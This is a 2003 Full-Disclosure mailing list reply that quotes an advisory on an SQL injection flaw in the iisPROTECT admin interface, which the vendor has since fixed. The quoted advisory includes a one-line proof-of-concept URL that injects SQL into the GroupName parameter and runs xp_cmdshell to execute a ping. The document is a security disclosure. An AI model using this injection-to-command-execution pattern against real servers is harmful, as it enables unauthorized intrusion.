Re: [Full-Disclosure] iisPROTECT SQL injection in admin interface

From: C. David Wilde (cdw_at_mylinuxguy.com)
Date: 05/23/03

  • Next message: Paul Szabo: "Eudora 5.2.1 buffer overflow DoS" 
    To: bugtraq@cgisecurity.net
Date: 23 May 2003 08:39:39 -0700

    Don't you mean iIrony?

    On Fri, 2003-05-23 at 06:09, bugtraq@cgisecurity.net wrote:
    > Between this and iDefense's advisory I think we could give this product the
    > 'Irony of the year award'.
    >
    >
    > >
    > > Release Date: 23.05.2003
    > > Application: iisPROTECT v/2.2-r4 (and probably earlier versions)
    > > Vendor: iisPROTECT
    > > #536, 425 Carrall St.
    > > Vancouver, BC,
    > > V6B6E3, Canada
    > > http://www.iisprotect.com/
    > > Category: SQL injection in admin interface
    > > Risk: Medium-High
    > > Impact: Arbitrary command execution
    > > Vendor Status: First notified 15/04-2003 17:36 (+1)
    > > Fixed 15/04-2003 22:47 (+1)
    > > Author: Torben 'Gyrniff' Frohn
    > > email: nn@gyrniff.dk
    > >
    > > Intro
    > > ====
    > > >From vendor site: "iisPROTECT is a high performance user authentication,
    > > password protection and member system".
    > > iisPROTECT has a webbased admin interface, the interface lacks sanitising on
    > > almost every variable. Successfully exploited some of the variables can be
    > > used to inject and execute SQL statements.
    > > iisPROTECT uses either a MS access file or a MS SQL-server. In the testing
    > > environment the MS SQL-server solution is chosen.
    > >
    > >
    > > Exploit (Proof of Concept)
    > > ===================
    > > The following URL exploits the "GroupName" variable and uses the stored
    > > procedure "xp_cmdshell" to execute the command "ping":
    > > http://x.x.x.x/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20master..xp_cmdshell'ping%2010.10.10.11';--
    > >
    > > Fix
    > > ===
    > > Vendor has fixed this problem.
    > >
    > > Credits
    > > =====
    > > Vulnerability found by Torben Frohn (Gyrniff)
    > > _______________________________________________
    > > Full-Disclosure - We believe in it.
    > > Charter: http://lists.netsys.com/full-disclosure-charter.html
    > >
    >
    > _______________________________________________
    > Full-Disclosure - We believe in it.
    > Charter: http://lists.netsys.com/full-disclosure-charter.html
    >

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: Paul Szabo: "Eudora 5.2.1 buffer overflow DoS"
    • Quantcast